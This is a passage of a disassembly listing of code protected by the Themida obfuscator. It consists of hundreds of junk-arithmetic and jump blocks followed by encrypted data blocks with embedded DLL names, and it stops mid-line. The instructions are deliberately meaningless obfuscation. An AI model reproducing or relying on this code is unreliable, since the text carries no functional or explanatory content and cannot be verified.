0B4C70F5Ah sub ebp, ecx pop ecx sub ebx, ebp pop ebp xor eax, ebx pop ebx jmp loc_561B8B ; --------------------------------------------------------------------------- loc_571DC4: ; CODE XREF: Themida_:0055DB77j pop dword ptr [esp] pop esp jmp loc_566650 ; --------------------------------------------------------------------------- loc_571DCD: ; CODE XREF: Themida_:00569B6Dj add edx, ebp pop ebp push ebp mov ebp, 4 add edx, ebp mov ebp, [esp] add esp, 4 xchg edx, [esp] mov esp, [esp] jmp loc_55D86D ; --------------------------------------------------------------------------- loc_571DE9: ; CODE XREF: Themida_:0056FDE8j xchg esi, [esp] pop esp xor ecx, [esp] jmp loc_56AF17 ; --------------------------------------------------------------------------- loc_571DF5: ; CODE XREF: Themida_:00567239j pop ebp add ebp, 4 push 66EAh mov [esp], edx push esi jmp loc_56E2E2 ; --------------------------------------------------------------------------- loc_571E0A: ; CODE XREF: Themida_:0056A253j add ebx, 0A635F7B1h add edi, ebx pop ebx sub edi, ebx sub edi, 213D73FAh push dword ptr [esp] pop ebx push edx mov edx, esp jmp loc_55F708 ; --------------------------------------------------------------------------- loc_571E27: ; CODE XREF: Themida_:0056C9F3j push eax jmp loc_570D8E ; --------------------------------------------------------------------------- loc_571E2D: ; CODE XREF: Themida_:00561F29j xor esi, [esp] xor [esp], esi xor esi, [esp] jmp loc_56BEB4 ; --------------------------------------------------------------------------- loc_571E3B: ; CODE XREF: Themida_:0055E61Ej push ebp push ebx mov ebx, 4 mov ebp, ebx mov ebx, [esp] jmp loc_56F312 ; --------------------------------------------------------------------------- loc_571E4C: ; CODE XREF: Themida_:0056E1FEj push edx mov edx, 3C84023h add ebx, edx jmp loc_5715C5 ; --------------------------------------------------------------------------- loc_571E59: ; CODE XREF: Themida_:00565C41j ; Themida_:00566DCAj ... sub esp, 4 jmp loc_562717 ; --------------------------------------------------------------------------- loc_571E61: ; CODE XREF: Themida_:00568B90j pop ebx push ebx push edx mov dh, 0F1h mov bh, 4 sub bh, dh mov edx, [esp] jmp loc_569261 ; --------------------------------------------------------------------------- lodsd jmp loc_5602CE ; --------------------------------------------------------------------------- loc_571E78: ; CODE XREF: Themida_:005640DAj pop ebx push esi mov esi, 4AAA41A5h xor esi, 0ABC5F92h jmp loc_568777 ; --------------------------------------------------------------------------- loc_571E8A: ; CODE XREF: Themida_:0055FE08j add edi, 4 sub esp, 4 mov [esp], edi push dword ptr [esp+4] jmp loc_56B7B1 ; --------------------------------------------------------------------------- loc_571E9C: ; CODE XREF: Themida_:0056C95Bj push ecx mov ecx, 396E4E7Fh neg ecx sub ecx, 0AD5570F9h sub esi, 7696432Ah add esi, ecx add esi, 7696432Ah jmp loc_56F80A ; --------------------------------------------------------------------------- loc_571EBD: ; CODE XREF: Themida_:0055DA0Cj pop edi push dword ptr [esp] jmp loc_56A509 ; --------------------------------------------------------------------------- loc_571EC6: ; CODE XREF: Themida_:00567394j add eax, edx jmp loc_56E667 ; --------------------------------------------------------------------------- loc_571ECD: ; CODE XREF: Themida_:0056BFC4j xor [esp+4], edx pop edx jmp loc_562752 ; --------------------------------------------------------------------------- loc_571ED7: ; CODE XREF: Themida_:0056224Cj mov ecx, 2CA14D86h sub ecx, edi pop edi add eax, ecx pop ecx push ebp mov ebp, 4 jmp loc_56699D ; --------------------------------------------------------------------------- loc_571EED: ; CODE XREF: Themida_:00566C67j shr ebx, 3 shl ebx, 4 shr ebx, 6 sub ebx, 33F91D0h jmp loc_55FA5F ; --------------------------------------------------------------------------- loc_571F01: ; CODE XREF: Themida_:00561572j push eax mov eax, 52912BE5h neg eax xor eax, 10CA0D06h shr eax, 3 add eax, 0F8E07C38h add edi, eax pop eax shr edi, 2 push ecx push 4F9Eh jmp loc_55F7F2 ; --------------------------------------------------------------------------- loc_571F27: ; CODE XREF: Themida_:00561F65j mov edi, esp add edi, 4 jmp loc_563426 ; --------------------------------------------------------------------------- loc_571F34: ; CODE XREF: Themida_:00568BE6j push eax mov eax, 7AF02155h mov edx, eax pop eax add ebp, edx pop edx push edx mov edx, 448B4B92h sub edi, edx pop edx jmp loc_56707D ; --------------------------------------------------------------------------- loc_571F4E: ; CODE XREF: Themida_:005712ACj push 8D9h jmp loc_56A30C ; --------------------------------------------------------------------------- loc_571F58: ; CODE XREF: Themida_:00565E32j push bx jmp loc_564BAD ; --------------------------------------------------------------------------- loc_571F5F: ; CODE XREF: Themida_:00567B18j push dword ptr [esp] pop eax jmp loc_565FBE ; --------------------------------------------------------------------------- loc_571F68: ; CODE XREF: Themida_:0056EA7Ej not ebp and ebp, 78615D2Ch add ebp, 63395DF5h jmp loc_56C78A ; --------------------------------------------------------------------------- loc_571F7B: ; CODE XREF: Themida_:00560EBAj mov [esp], ecx push 215Bh jmp loc_567FA0 ; --------------------------------------------------------------------------- loc_571F88: ; CODE XREF: Themida_:0056D536j push dword ptr [ebx] push 10C8h mov [esp], ebp mov ebp, 10BE07EEh xor [esp+4], ebp pop ebp push dword ptr [esp] jmp loc_564241 ; --------------------------------------------------------------------------- loc_571FA4: ; CODE XREF: Themida_:00569326j mov eax, 0FBA3261Dh add eax, ecx pop ecx mov ebx, 0FFAD3072h jmp loc_56E9A8 ; --------------------------------------------------------------------------- loc_571FB6: ; CODE XREF: Themida_:00565692j add esp, 4 mov eax, ebp pop ebp jmp loc_571743 ; --------------------------------------------------------------------------- loc_571FC4: ; CODE XREF: Themida_:00563D69j or edx, 38122129h dec edx sub esp, 4 mov [esp], edx not dword ptr [esp] pop edx push ebx jmp loc_56F85E ; --------------------------------------------------------------------------- loc_571FDE: ; CODE XREF: Themida_:005634E4j add esp, 4 push ebp push esp jmp loc_570B1A ; --------------------------------------------------------------------------- loc_571FEB: ; CODE XREF: Themida_:0056734Aj pop esi jmp loc_5689A6 ; --------------------------------------------------------------------------- loc_571FF1: ; CODE XREF: Themida_:0057051Cj mov edx, ebp mov edi, edx pop edx pop ebp mov esi, 8D7C6EF4h add esi, edi pop edi sub ebp, 4B4F5AF4h add ebp, esi push ebx push 4B4F5AF4h pop ebx add ebp, 660D1FA8h add ebp, ebx sub ebp, 660D1FA8h pop ebx mov esi, [esp] add esp, 4 push ebp mov esi, [esp] add esp, 4 pop ebp and [edi+1Ch], esi push dword ptr [esp] pop esi add esp, 4 jmp loc_565520 ; --------------------------------------------------------------------------- loc_57203D: ; CODE XREF: Themida_:00561B7Fj push edi jmp loc_56477F ; --------------------------------------------------------------------------- loc_572043: ; CODE XREF: Themida_:0056570Aj xor eax, 52573E88h inc eax jmp loc_56F5AD ; --------------------------------------------------------------------------- loc_57204E: ; CODE XREF: Themida_:00570B60j push esp jmp loc_562A93 ; --------------------------------------------------------------------------- loc_572054: ; CODE XREF: Themida_:00570D34j neg ebp dec ebp neg ebp add ebp, 11CA50CBh jmp loc_56065E ; --------------------------------------------------------------------------- loc_572064: ; CODE XREF: Themida_:00560C5Ej push dword ptr [esp] push dword ptr [esp] mov ecx, [esp] add esp, 4 add esp, 4 sub esp, 4 mov [esp], ecx jmp loc_562669 ; --------------------------------------------------------------------------- loc_572081: ; CODE XREF: Themida_:0056516Dj add ch, 0FFh push ax mov ah, 3Ah and ch, ah mov ax, [esp] add esp, 2 jmp loc_563EF6 ; --------------------------------------------------------------------------- loc_572099: ; CODE XREF: Themida_:0056146Bj mov [esp], esp add dword ptr [esp], 4 mov esi, [esp] add esp, 4 push 4E63h mov [esp], edi mov edi, 4 push edx mov edx, 3DAD6F63h jmp loc_56CFC9 ; --------------------------------------------------------------------------- loc_5720BE: ; CODE XREF: Themida_:0056FA1Aj push ebp push esp jmp loc_56EB15 ; --------------------------------------------------------------------------- loc_5720C5: ; CODE XREF: Themida_:0057174Aj pop eax add dword ptr [esp+4], 4164765Ah push eax mov eax, 2E68058Ch sub [esp+8], eax jmp loc_565CC4 ; --------------------------------------------------------------------------- loc_5720DD: ; CODE XREF: Themida_:00569BCCj sub esp, 4 mov [esp], edx mov edx, esp add edx, 4 push ebx mov ebx, 4 add edx, ebx jmp loc_56DCE9 ; --------------------------------------------------------------------------- loc_5720F8: ; CODE XREF: Themida_:00567DC0j push edx mov edx, 30A82209h xor ebp, edx mov edx, [esp] add esp, 4 jmp loc_563F2B ; --------------------------------------------------------------------------- loc_57210E: ; CODE XREF: Themida_:00560500j pop esp shl edi, 6 jmp loc_568562 ; --------------------------------------------------------------------------- loc_572117: ; CODE XREF: Themida_:0056039Aj xchg edi, ebp and ebp, 1CD815DDh push ebp jmp loc_570649 ; --------------------------------------------------------------------------- loc_572125: ; CODE XREF: Themida_:0056DFF0j pop edx dec eax push ecx mov ecx, 1C7E2024h add eax, 3BC4839h sub eax, ecx sub eax, 3BC4839h pop ecx jmp loc_560964 ; --------------------------------------------------------------------------- loc_57213F: ; CODE XREF: Themida_:0056592Bj push ebp mov ebp, 74EC248Fh sub eax, ebp jmp loc_563E29 ; --------------------------------------------------------------------------- loc_57214C: ; CODE XREF: Themida_:0056C725j add dl, cl pop cx push eax mov al, dl mov ch, al pop eax pop edx jmp loc_55E645 ; --------------------------------------------------------------------------- movzx ax, byte ptr fs:[edx] push 4E9Ch mov [esp], esi push 0EC3h mov [esp], esp jmp loc_560A38 ; --------------------------------------------------------------------------- loc_572176: ; CODE XREF: Themida_:0057242Ej push dword ptr [esp] pop ebx push ebp jmp loc_568B31 ; --------------------------------------------------------------------------- loc_572180: ; CODE XREF: Themida_:0056045Fj push ecx push edi mov edi, 607F6AE2h mov ecx, edi pop edi xor ebx, ecx jmp loc_567929 ; --------------------------------------------------------------------------- loc_572191: ; CODE XREF: Themida_:0056B0E6j mov cl, 71h jmp loc_56C9DC ; --------------------------------------------------------------------------- loc_572198: ; CODE XREF: Themida_:00565AE7j shl edx, 1 push 6400h jmp loc_5703D7 ; --------------------------------------------------------------------------- loc_5721A4: ; CODE XREF: Themida_:0056A617j mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp] pop esp jmp loc_57008E ; --------------------------------------------------------------------------- loc_5721B7: ; CODE XREF: Themida_:00568409j mov [esp], ebp push esp jmp loc_5660B5 ; --------------------------------------------------------------------------- loc_5721C0: ; CODE XREF: Themida_:005657A2j sub esi, 1A6824EDh add esi, edx add esi, 1A6824EDh add esi, 21ED34CBh add esi, 48257C26h pop edx sub esi, 4 xchg esi, [esp] mov esp, [esp] mov [esp], edx mov eax, [esp] add esp, 4 mov edx, [esp] add esp, 4 push ebp mov ebp, 6E846E07h push ecx jmp loc_5711F6 ; --------------------------------------------------------------------------- loc_572202: ; CODE XREF: Themida_:0056AEA6j add ecx, ebp pop ebp add ecx, 7A225BBDh jmp loc_56D66C ; --------------------------------------------------------------------------- loc_572210: ; CODE XREF: Themida_:0056FA6Cj add esi, 5AAC77BBh sub esi, 2B436188h jmp loc_55DD74 ; --------------------------------------------------------------------------- loc_572221: ; CODE XREF: Themida_:0056551Bj push edi jmp loc_55F049 ; --------------------------------------------------------------------------- loc_572227: ; CODE XREF: Themida_:0056DFF9j sub esp, 4 mov [esp], ebx mov ebx, 0 jmp loc_563656 ; --------------------------------------------------------------------------- loc_572237: ; CODE XREF: Themida_:0056E431j add eax, 56B854F8h pop ebp xor [esp+4], eax pop eax push dword ptr [esp] pop ecx sub esp, 4 mov [esp], ecx push esp pop ecx add ecx, 4 push ebp mov ebp, 4 add ecx, ebp pop ebp xor ecx, [esp] xor [esp], ecx jmp loc_56DD67 ; --------------------------------------------------------------------------- push dword ptr [esp] mov ecx, [esp] add esp, 4 jmp loc_55FDBE ; --------------------------------------------------------------------------- loc_572279: ; CODE XREF: Themida_:0057011Cj add ebx, 4 jmp loc_56E601 ; --------------------------------------------------------------------------- loc_572284: ; CODE XREF: Themida_:00562E23j push small 32B5h mov [esp], dx mov dl, 63h jmp loc_5616CC ; --------------------------------------------------------------------------- loc_572293: ; CODE XREF: Themida_:00569218j sub esp, 4 mov [esp], ebx mov ebx, esp push eax mov eax, esp add eax, 4 sub eax, 4 jmp loc_5654BB ; --------------------------------------------------------------------------- loc_5722AE: ; CODE XREF: Themida_:0055F602j mov eax, [esp] add esp, 4 add ecx, esi jmp loc_56F79E ; --------------------------------------------------------------------------- loc_5722BB: ; CODE XREF: Themida_:005672A5j xchg ebx, [esp] not ebx push ebx push dword ptr [esp+4] jmp loc_55F087 ; --------------------------------------------------------------------------- loc_5722CA: ; CODE XREF: Themida_:00560938j and dl, ch pop ecx jmp loc_571C16 ; --------------------------------------------------------------------------- loc_5722D2: ; CODE XREF: Themida_:00564119j or eax, 331D05DAh jmp loc_560752 ; --------------------------------------------------------------------------- loc_5722DC: ; CODE XREF: Themida_:0055DC04j push edx mov edx, 88E282Ah xor edx, 472B6608h sub ebx, edx pop edx push eax mov eax, ebx push eax pop ecx mov eax, [esp] jmp loc_568FFB ; --------------------------------------------------------------------------- loc_5722F8: ; CODE XREF: Themida_:0056E055j mov ebx, [esp] push ecx mov ecx, esp add ecx, 4 add ecx, 4 xchg ecx, [esp] pop esp push ebp mov ebp, 4 add ebx, ebp pop ebp push esi mov esi, esp add esi, 4 sub esi, 4 xchg esi, [esp] pop esp mov [esp], edx mov edx, 519174C0h xor edx, 443E494Fh neg edx dec edx sub edx, 0EA50C26Ch sub ebx, edx pop edx xor ebx, [esp] xor [esp], ebx xor ebx, [esp] mov esp, [esp] mov [esp], edx push 77B1h mov [esp], eax mov edx, [esp] push ecx jmp loc_55EE26 ; --------------------------------------------------------------------------- loc_57235E: ; CODE XREF: Themida_:00566E34j mov ebp, [esp] add esp, 4 jmp loc_560464 ; --------------------------------------------------------------------------- loc_57236C: ; CODE XREF: Themida_:005682B4j mov edx, 87EA95A5h jmp loc_56253B ; --------------------------------------------------------------------------- loc_572376: ; CODE XREF: Themida_:0055F897j add ebx, 0D7DB2EC1h sub ebx, 0ECE0865h add ebx, 45B8459Ah add ebx, 913B56ECh mov edi, ebx pop ebx push edx mov edx, 25E61625h sub edx, 0B10F13F2h jmp loc_561B54 ; --------------------------------------------------------------------------- loc_5723A2: ; CODE XREF: Themida_:0055E1BFj push 4B5Fh jmp loc_57027F ; --------------------------------------------------------------------------- loc_5723AC: ; CODE XREF: Themida_:005682A4j add ebx, edi push dword ptr [ebx] pop ecx mov ebx, [esp] push 0DEEh jmp loc_55E3DB ; --------------------------------------------------------------------------- loc_5723BE: ; CODE XREF: Themida_:00562651j sub edx, ecx jmp loc_5663D4 ; --------------------------------------------------------------------------- loc_5723C5: ; CODE XREF: Themida_:00564527j mov esi, esp add esi, 4 sub esi, 4 xor esi, [esp] xor [esp], esi xor esi, [esp] jmp loc_564F18 ; --------------------------------------------------------------------------- loc_5723DE: ; CODE XREF: Themida_:0056E1C4j add esp, 4 push eax mov eax, 4 add edx, eax pop eax xchg edx, [esp] pop esp shr eax, 18h xor eax, ecx sub esp, 4 mov [esp], eax xchg ecx, [esp] xor ecx, esi xor esi, ecx xor ecx, esi push esi xchg ecx, [esp] push ecx jmp loc_56C367 ; --------------------------------------------------------------------------- pop dword ptr [edi+40h] jmp loc_56C346 ; --------------------------------------------------------------------------- loc_572417: ; CODE XREF: Themida_:0056DAB4j push ebx mov ebx, 4 add ecx, ebx pop ebx add ecx, 4 xchg ecx, [esp] jmp loc_56C19C ; --------------------------------------------------------------------------- loc_57242B: ; CODE XREF: Themida_:0056C352j push dword ptr [esp] jmp loc_572176 ; --------------------------------------------------------------------------- loc_572433: ; CODE XREF: Themida_:0055E8D8j add esp, 4 xor ecx, eax mov eax, [esp] jmp loc_566DCF ; --------------------------------------------------------------------------- loc_572440: ; CODE XREF: Themida_:00569209j push 6D53h mov [esp], esi push edx mov edx, esp add edx, 4 sub edx, 4 xchg edx, [esp] pop esp mov [esp], esp add dword ptr [esp], 4 jmp loc_56FE2E ; --------------------------------------------------------------------------- loc_57246A: ; CODE XREF: Themida_:0056DCD1j mov ebx, 2 add esi, 7A7B32A0h jmp loc_55E935 ; --------------------------------------------------------------------------- loc_57247A: ; CODE XREF: Themida_:00560614j shr ebx, 7 jmp loc_55DBFE ; --------------------------------------------------------------------------- loc_572482: ; CODE XREF: Themida_:00561937j shl ebp, 7 dec ebp jmp loc_55EC80 ; --------------------------------------------------------------------------- loc_57248B: ; CODE XREF: Themida_:0055DAF6j add [esp+4], ebp pop ebp mov ecx, [esp] add esp, 4 sub ecx, 16A05B4h jmp loc_56CD1B ; --------------------------------------------------------------------------- loc_5724A1: ; CODE XREF: Themida_:0056C3C6j mov ebp, esp add ebp, 4 jmp loc_569579 ; --------------------------------------------------------------------------- loc_5724AE: ; CODE XREF: Themida_:0056F40Ej push esp pop edx push ecx jmp loc_569529 ; --------------------------------------------------------------------------- loc_5724B6: ; CODE XREF: Themida_:00570E37j mov ecx, [esp] add esp, 4 jmp loc_563A1D ; --------------------------------------------------------------------------- loc_5724C4: ; CODE XREF: Themida_:005618A6j xchg edx, [esp] jmp loc_55FB61 ; --------------------------------------------------------------------------- loc_5724CC: ; CODE XREF: Themida_:0056F117j add esi, 3B45058Eh mov ebx, [esp] jmp loc_5604D4 ; --------------------------------------------------------------------------- loc_5724DA: ; CODE XREF: Themida_:00569067j mov [esp], ecx sub esp, 4 mov [esp], ebx push 100D1605h pop ebx neg ebx inc ebx sub ebx, 0EFF2E9FDh push eax jmp loc_568CC3 ; --------------------------------------------------------------------------- loc_5724F8: ; CODE XREF: Themida_:0055EA3Fj xor cl, 0B8h jmp loc_56EA1F ; --------------------------------------------------------------------------- loc_572500: ; CODE XREF: Themida_:0056E149j push eax push edi push 55765EDFh push dword ptr [esp] pop edi push esi jmp loc_56411E ; --------------------------------------------------------------------------- loc_572511: ; CODE XREF: Themida_:005608B2j pop eax sub ebx, 41607296h add esi, ebx pop ebx push 4538h mov [esp], eax mov eax, 2 push ebx push edx mov edx, 484A4580h mov ebx, 0A142C149h sub ebx, edx mov edx, [esp] add esp, 4 or ebx, 16AE2E4Ah sub ebx, 3F1369A6h and ebx, 4B576D85h shl ebx, 7 jmp loc_5695A8 ; --------------------------------------------------------------------------- loc_572559: ; CODE XREF: Themida_:0056E2ACj mov esi, [esp] add esp, 4 add esp, 4 xor ecx, [esp] xor [esp], ecx jmp loc_57084F ; --------------------------------------------------------------------------- loc_57256D: ; CODE XREF: Themida_:00571185j push edx push ecx mov ecx, 2B7E36A4h xor ecx, 5678363Ch shl ecx, 2 shr ecx, 6 jmp loc_55FE5D ; --------------------------------------------------------------------------- loc_572585: ; CODE XREF: Themida_:005650D1j mov [esp], ecx push dword ptr [esp+4] jmp loc_5664B0 ; --------------------------------------------------------------------------- loc_572591: ; CODE XREF: Themida_:005620B0j push ebp mov ebp, 5CA1464Ah xor ebp, 0EC83CE41h sub edi, ebp jmp loc_567A6E ; --------------------------------------------------------------------------- loc_5725A4: ; CODE XREF: Themida_:00563C0Aj mov [esp], ebp push eax mov eax, 0EBE52A2h mov ebp, eax pop eax jmp loc_565930 ; --------------------------------------------------------------------------- loc_5725B5: ; CODE XREF: Themida_:00564F83j sub edx, 1D9D0AD5h push dword ptr [esp] pop ebp add esp, 4 shl edx, 5 sub esp, 4 jmp loc_565B03 ; --------------------------------------------------------------------------- loc_5725D0: ; CODE XREF: Themida_:0056B6BFj mov eax, 0F3040F3h jmp loc_55F06B ; --------------------------------------------------------------------------- loc_5725DA: ; CODE XREF: Themida_:0056EEDEj add ebx, ecx pop ecx jmp loc_569EEF ; --------------------------------------------------------------------------- loc_5725E2: ; CODE XREF: Themida_:0056054Cj pop esp jmp loc_569060 ; --------------------------------------------------------------------------- loc_5725E8: ; CODE XREF: Themida_:0056C8D0j shl ebp, 8 or ebp, 2649688Ah push esi mov esi, 1C5637E4h sub esi, 477A07D8h inc esi or esi, 367F5982h xor esi, 0D7DF2E80h xor ebp, esi pop esi neg ebp sub ebp, 3547E5D0h mov ecx, ebp jmp loc_56C59C ; --------------------------------------------------------------------------- loc_57261C: ; CODE XREF: Themida_:0055FA39j pop edi jmp loc_563534 ; --------------------------------------------------------------------------- loc_572622: ; CODE XREF: Themida_:00564AF2j mov [esp], ebx jmp loc_56667E ; --------------------------------------------------------------------------- loc_57262A: ; CODE XREF: Themida_:00562D05j mov esi, 4 add edi, 58557CB6h add edi, esi sub edi, 58557CB6h pop esi xchg edi, [esp] pop esp or eax, eax jz loc_56850D push dword ptr [edi+1Ch] push esi mov esi, 32623A9Dh jmp loc_562316 ; --------------------------------------------------------------------------- loc_572658: ; CODE XREF: Themida_:0056527Ej sub esp, 4 jmp loc_55FC35 ; --------------------------------------------------------------------------- loc_572660: ; CODE XREF: Themida_:005621D2j mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] mov esp, [esp] push ecx mov ecx, 6F454B82h and ecx, 6D9A0404h jmp loc_56FD0D ; --------------------------------------------------------------------------- loc_572685: ; CODE XREF: Themida_:00563974j push 11411EBDh pop ebx xchg edi, ebx inc edi xchg edi, ebx jmp loc_56497D ; --------------------------------------------------------------------------- loc_572695: ; CODE XREF: Themida_:005632F7j mov [esp], ebp mov ebp, esp sub esp, 4 mov [esp], ebx mov ebx, 4 push eax mov eax, 53233761h add ebp, eax pop eax add ebp, ebx jmp loc_5709B2 ; --------------------------------------------------------------------------- loc_5726B5: ; CODE XREF: Themida_:00565A2Bj pop esi xchg ebp, [esp] mov esp, [esp] jmp loc_55DE11 ; --------------------------------------------------------------------------- loc_5726C1: ; CODE XREF: Themida_:0056C7D7j sub ecx, 69B312D0h pop edi xor ecx, [esp] xor [esp], ecx xor ecx, [esp] pop esp mov [esp], ecx sub esp, 4 mov [esp], eax jmp loc_563F7E ; --------------------------------------------------------------------------- loc_5726E0: ; CODE XREF: Themida_:0056171Cj mov [esp], edi push ecx mov ecx, 0D00283FDh mov edi, ecx push dword ptr [esp] pop ecx jmp loc_55FAB1 ; --------------------------------------------------------------------------- loc_5726F4: ; CODE XREF: Themida_:0056B918j mov ebp, eax pop eax inc ebp or ebp, 1A32921h add ebp, 7D393585h push edi mov edi, 2C6A2891h xor edi, 61772550h add ebp, edi pop edi xor ebp, 0DC51C13Bh add edi, ebp pop ebp jmp loc_564DB4 ; --------------------------------------------------------------------------- loc_572721: ; CODE XREF: Themida_:0056AAC6j dec dl add dl, 37h add dl, 0C8h push eax mov ah, 53h xor dl, ah jmp loc_55E79F ; --------------------------------------------------------------------------- loc_572733: ; CODE XREF: Themida_:0056C97Fj pop eax push ecx dec dword ptr [esp] mov ecx, [esp] jmp loc_5660E4 ; --------------------------------------------------------------------------- loc_572740: ; CODE XREF: Themida_:0056807Fj mov [esp], ebp push esp pop ebp add ebp, 4 push eax mov eax, esp add eax, 4 sub eax, 4 jmp loc_560306 ; --------------------------------------------------------------------------- loc_57275D: ; CODE XREF: Themida_:0055DDE5j push esi mov esi, 4EF67D7Fh or esi, 77DC1907h push 353Ch mov [esp], esi not dword ptr [esp] pop esi xchg edi, esi dec edi xchg edi, esi sub esp, 4 mov [esp], ebp push ecx mov ecx, 481F468Ch shl ecx, 4 dec ecx push eax mov eax, 77C012B9h not eax and eax, 792C7CBCh not eax neg eax add eax, 3EFD605Fh push ebp mov ebp, 249D23DFh shr ebp, 4 dec ebp jmp loc_55DB7C ; --------------------------------------------------------------------------- loc_5727AF: ; CODE XREF: Themida_:00564D8Dj sub esp, 4 mov [esp], eax mov ah, dl push edx mov edx, 0 add edx, ebx push ebx jmp loc_56DE3C ; --------------------------------------------------------------------------- loc_5727C8: ; CODE XREF: Themida_:005606A9j sub esp, 4 jmp loc_56C357 ; --------------------------------------------------------------------------- loc_5727D3: ; CODE XREF: Themida_:0056D634j sub bl, al sub bl, 20h push ax jmp loc_55F701 ; --------------------------------------------------------------------------- loc_5727DF: ; CODE XREF: Themida_:00568241j xchg ecx, [esp] mov esp, [esp] add esp, 4 push eax sub esp, 4 mov [esp], ebp push ebx push 15F8h mov [esp], eax mov eax, 4E8D70E0h jmp loc_56D92A ; --------------------------------------------------------------------------- loc_572805: ; CODE XREF: Themida_:0055F9B5j mov ebx, 527D05F5h sub ebx, 19A452Ch xor ebx, 4B52EA86h jmp loc_5677CE ; --------------------------------------------------------------------------- loc_57281B: ; CODE XREF: Themida_:0055103Cj jmp loc_57285D ; --------------------------------------------------------------------------- dd 49C91D1Fh, 52455355h, 642E3233h, 41006C6Ch, 50415644h dd 2E323349h, 6C6C64h, 4C44544Eh, 6C642E4Ch, 7D7006Ch dd 40007h, 12001Ah, 1C0026h, 240h, 0 db 0 ; --------------------------------------------------------------------------- loc_57285D: ; CODE XREF: Themida_:loc_57281Bj jmp loc_57313D ; --------------------------------------------------------------------------- push 62A9647h jmp loc_551321 ; --------------------------------------------------------------------------- push 62A96CDh jmp loc_551321 ; --------------------------------------------------------------------------- push 62A982Bh jmp loc_551321 ; --------------------------------------------------------------------------- push 62A994Ch jmp loc_551321 ; --------------------------------------------------------------------------- push 62A99D8h jmp loc_551321 ; --------------------------------------------------------------------------- push 62A9AC1h jmp loc_551321 ; --------------------------------------------------------------------------- push 62A9B1Eh jmp loc_551321 ; --------------------------------------------------------------------------- dd 39B6AC7Dh, 0EC696735h, 9D1A1CE8h, 54D1C799h, 8858350h dd 9B685905h, 4D1C209Dh, 7D2D653h, 0B4848805h, 87173DBAh dd 5906FB21h, 60AA7D79h, 4B706A3Ah, 5C6F2499h, 56BCD544h dd 0C85C5224h, 0BB87E58Dh, 37CBC595h, 1581A275h, 8D2123EFh dd 0BF91D7Dh, 2D672510h, 2E53511Fh, 0E0AEE046h, 41D5BDE2h dd 5BE90C2Bh, 0EC52B275h, 795BEF2Ch, 86548648h, 0E77B6388h dd 395DC98Bh, 96F4215h, 795BCAD3h, 9E73A365h, 0C02D485h dd 0BCE212A6h, 40A5A331h, 6DD9FACDh, 0B3681D49h, 0CB5F085Fh dd 27B655BBh, 1EE09559h, 5D8659F9h, 606D91F1h, 3729F855h dd 0F8758B1Fh, 1A937114h, 0F6C6EC58h, 9B6A90FCh, 2F08FDD7h dd 197FFE27h, 767040F4h, 6F036951h, 807A4A4Eh, 0DE86E12h dd 0E89F7A54h, 6F1h, 55D2C899h, 8858351h, 0B9363804h, 70EDE3B5h dd 24A19F6Ch, 0B7847521h, 69383CB9h, 23EEF26Fh, 0D0A0A421h dd 0A33359D6h, 59059F3Dh, 51C69979h, 124C10E0h, 8B74C4BCh dd 749A066Ch, 4E17ABA5h, 4EB4DBAEh, 7F737A8Eh, 1682E8AAh dd 28F056B6h, 4C7F737Ah, 3E0F68Ah, 0AD755DD7h, 0EF5089h dd 0C42A3DD8h, 7958A414h, 64F85E20h, 0B4DA4608h, 666AE7E9h dd 0C074999Bh, 0EE88F6F0h, 0E6BE74B0h, 66B540Bh, 42130000h dd 0FDCBCF4Ch, 0B27E82FFh, 5D2F33B0h, 19E6EA67h, 0CF9B9E1Bh dd 0B63331FEh, 6CE9E3B2h, 1E9B9D68h, 0D3504A1Ah, 61B71DADh dd 13795905h, 46A6CB40h, 689E5A22h, 2FA12E47h, 7F73D6E9h dd 0F75DC98Bh, 7F73D621h, 27FD9153h, 84385D57h, 284EBAB4h dd 4F375C5Ah, 733EF2BBh, 0C6984C71h, 63C7ABD0h, 0DEDAF0AAh dd 0A5056525h, 73D6993Fh, 67D99B7Fh, 7F73D6B1h, 0A06D01C3h dd 0BB3170D9h, 7ADDh, 10E00A00h, 0A6309916h, 1A936882h dd 3668CEE4h, 0C2D86C66h, 7F730F1Eh, 70A80E6Eh, 47F730Fh dd 0A870D642h, 0CC7F730Fh, 0D0A0760Ah, 966959D6h, 0FDB016Dh dd 0E747641h, 2F9501E9h, 7F730FE9h, 2535C98Bh, 0D9FF65C5h dd 5B7F730Fh, 69EF0599h, 8B755B83h, 1E395DC9h, 1BACD2F4h dd 466C7C10h, 0F8FC797Bh, 18062B2Dh, 417433F4h, 6A527771h dd 63A5693Ah, 56FF6CFh, 0A6FD0000h, 1FB3B580h, 5A7F7949h dd 52BEE7BAh, 5BBCE5ECh, 0C03DFF75h, 75F2ECBCh, 2591B285h dd 752937BFh, 7733573h, 0A81416E1h, 22B6B482h, 2A32FD01h dd 213F14C4h, 0F2582073h, 73213F2Ah, 0C0268C4Eh, 1717E79Bh dd 213F6BB1h, 0DF450D73h, 73213F39h, 0AD13793Bh, 0D2B693Fh dd 1B893B4h, 50Dh, 71EEE4B5h, 24A19F6Dh, 0D5525420h, 8C09FFD1h dd 40BDBB88h, 0D3A0113Dh, 855458D5h, 3F0A0E8Bh, 0ECBCC03Dh dd 0BF4F75F2h, 590B8359h, 6DE2B579h, 0F11610E0h, 4E736D3Dh dd 3B01BAB6h, 7F739194h, 31C3B7E0h, 0E0F3BB31h, 20FFFFFEh dd 0F11610E0h, 0E9557E51h, 64F8F6C3h, 8397EE54h, 2FF1755Bh dd 0C6EFC2B2h, 6A64345Ah, 0B9C95D45h, 73BF7453h, 2DC6EA73h dd 0DC74DDBDh, 50B6B482h, 0BC50521Eh, 0C329E60h, 341C413Fh dd 0C3E9D7A0h, 0EAD2F7F5h, 39D4056h, 59257323h, 0B17E3257h dd 2EC28EB3h, 2321EF75h, 3FB016FEh, 0F9F3C3E9h, 0ECAC6565h dd 0D6FBF9C6h, 0EC8D5AEEh, 0CAC781BBh, 16Fh, 987E5F7h dd 3BA10D36h, 755B867Ch, 228B476h, 40A5BBF7h, 52B4A1C5h dd 0DAFFFDCAh, 0D2C4C2F2h, 9F7234C8h, 45A40A76h, 2F95596Ch dd 2DD016Dh, 720636D4h, 8121EA7Eh, 0B31985AEh, 9371463Ah dd 0E5B37EA4h, 82B41A18h, 0C723B7B5h, 0A3739905h, 58282CA9h dd 0CAB2F05Eh, 5F3A540Dh, 3ECA8h, 0CDC39400h, 807E4C50h dd 3133FF03h, 0E8DEB0B4h, 9C9A676Bh, 7F4E1C1Fh, 3337B4B2h dd 0E9ED6A64h, 9B9F1C1Eh, 2E54D1CBh, 